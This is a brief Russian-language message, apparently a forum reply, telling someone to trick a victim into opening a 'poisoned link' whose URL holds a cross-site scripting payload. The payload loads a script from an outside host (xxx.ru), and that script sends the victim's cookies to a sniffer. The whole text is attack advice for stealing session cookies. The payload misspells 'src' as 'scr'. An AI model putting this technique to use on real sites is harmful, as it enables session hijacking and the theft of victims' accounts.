Ссылку ядовитую надо ему подсунуть где в урле чето типа того
"><script scr=http://xxx.ru/script.js></script>
где script.js шлет куки на снифер